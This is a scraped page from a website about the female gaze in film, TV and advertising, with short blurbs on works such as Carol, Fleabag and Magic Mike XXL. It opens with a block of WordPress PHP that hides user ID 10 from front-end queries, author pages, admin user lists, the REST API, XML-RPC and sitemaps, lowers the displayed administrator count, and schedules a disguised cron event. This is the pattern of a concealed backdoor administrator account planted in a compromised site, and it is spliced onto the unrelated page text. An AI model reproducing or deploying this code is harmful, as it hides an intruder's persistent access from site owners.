add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 10;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 10 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 10 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 10;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 10;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 10;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/10(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 10;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The Female Gaze
Skip to content
Welcome to The Female Gaze. This site explores the concept of a female gaze in film, TV, advertising, written content and other media.
It’s all about assuming the audience is female and being prepared to offer women visual entertainment that they would want to see.
This site is still new and growing slowly.
The Female Gaze In Films, TV and Media
Brainwashed: Sex – Camera – Power is a documentary by Nina Menkes that explores how shot design in mainstream cinema reinforces the male gaze and, ultimately, the patriarchy.
See More Brainwashed: Sex – Camera – Power
Turning Red tells the story of a 13 year old girl dealing with puberty and family problems… and she also turns into a red panda. It’s an animated female gaze film.
See More Turning Red
Carol is a love story between two women, set in the 1950s. It has a focus on looking, on meaning glances and touches, as part of the lesbian gaze.
See More Carol
Promising Young Woman is ostensibly a rape revenge film but it’s really about fighting rape culture – and it uses the female gaze to do it.
See More Promising Young Woman
The Silence of the Lambs uses cinematography to subvert the male gaze and create a female perspective.
See More The Silence Of The Lambs
Insecure is an HBO series exploring the lives of two single black women, Issa and Molly, best friends since college. It represents a great example of the black female gaze.
See More Insecure
Prison comedy Orange Is The New Black’s female gaze manifests as a diverse array of female experiences and characters
See More Orange Is The New Black
British comedy Fleabag is an example of the female gaze in action, with an imperfect female character breaking the fourth wall
See More Fleabag
Magic Mike XXL, a film about male strippers, embodies an objectifying but fun-loving female gaze
See More Magic Mike XXL
In 1994 Diet Coke launched the “Break” series of ads, which were hugely popular because they embodied a desiring female gaze… and included hot guys.
See More Diet Coke Break
Lena Dunham’s series Girls was hailed as an exciting and groundbreaking show with four female leads and a fresh approach on on-screen sex.
See More Girls
British TV show Smack The Pony brought the female gaze to sketch comedy. The “window cleaner” sketch is a great example of this.
See More Smack The Pony: Window Cleaner
Discussion, Lectures and Theory
Female Gaze Short Films